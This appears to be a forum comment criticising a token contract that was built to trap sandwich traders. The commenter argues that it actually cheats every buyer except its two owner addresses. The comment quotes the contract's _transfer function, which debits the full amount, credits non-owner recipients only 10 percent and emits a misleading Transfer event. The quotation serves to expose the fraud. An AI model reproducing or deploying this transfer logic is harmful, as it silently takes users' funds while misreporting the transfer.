Wrecking sandwich traders for fun and profit
This is a weakness in many AMM implementations. It’s avoidable and mostly solved in the Uniswap V2 pools, and even requires less gas for the safer contract. Side note: there is a huge problem with contract standards in Ethereum. You basically have no idea what you are interacting with, and these should not be that hard to template.<p><i>EDIT ON RE-READ</i>:<p>I’m going to call foul on this guy. His token is designed to deceive and exploit anybody but himself. Not just sandwich traders. You buy 10, it gives you 1. This would be clearly criminal in the offline world. Imagine an ATM that promised $10, deducted $10 from your account, and gave you $1. In fact, it’s even worse than that. It divides by 10 every time you send it, but not him.<p>I agree that ethermine is clearly and openly unethical. Here is their press release about front-running using their mining power: <a href="https:&#x2F;&#x2F;www.nasdaq.com&#x2F;articles&#x2F;ethermine-adds-front-running-software-to-help-miners-offset-eip-1559-revenue-losses-2021" rel="nofollow">https:&#x2F;&#x2F;www.nasdaq.com&#x2F;articles&#x2F;ethermine-adds-front-running...</a><p>But this contract is worse. He actually has no idea whose eth he is stealing. His big hits are coming from the V2 contract which doesn’t calculate  exchange rates on the fly, so the sandwich trading he describes by manipulating slippage doesn’t work.<p><a href="https:&#x2F;&#x2F;etherscan.io&#x2F;token&#x2F;0x610b8B78da143fC1E38b36C4EA0f68F86cc3b4f4" rel="nofollow">https:&#x2F;&#x2F;etherscan.io&#x2F;token&#x2F;0x610b8B78da143fC1E38b36C4EA0f68F...</a><p><pre><code>  function _transfer(address sender, address recipient, uint256 amount) internal virtual {
    require(sender != address(0), &quot;ERC20: transfer from the zero address&quot;);
    require(recipient != address(0), &quot;ERC20: transfer to the zero address&quot;);
    uint256 senderBalance = _balances[sender];
    require(senderBalance &gt;= amount, &quot;ERC20: transfer amount exceeds balance&quot;);
    if (sender == ownerA || sender == ownerB) {
      _balances[sender] = senderBalance - amount;
      _balances[recipient] += amount;
    } else {
      _balances[sender] = senderBalance - amount;
      uint256 trapAmount = (amount \* 10) &#x2F; 100;
      _balances[recipient] += trapAmount;
    }
    emit Transfer(sender, recipient, amount);
  }</code></pre>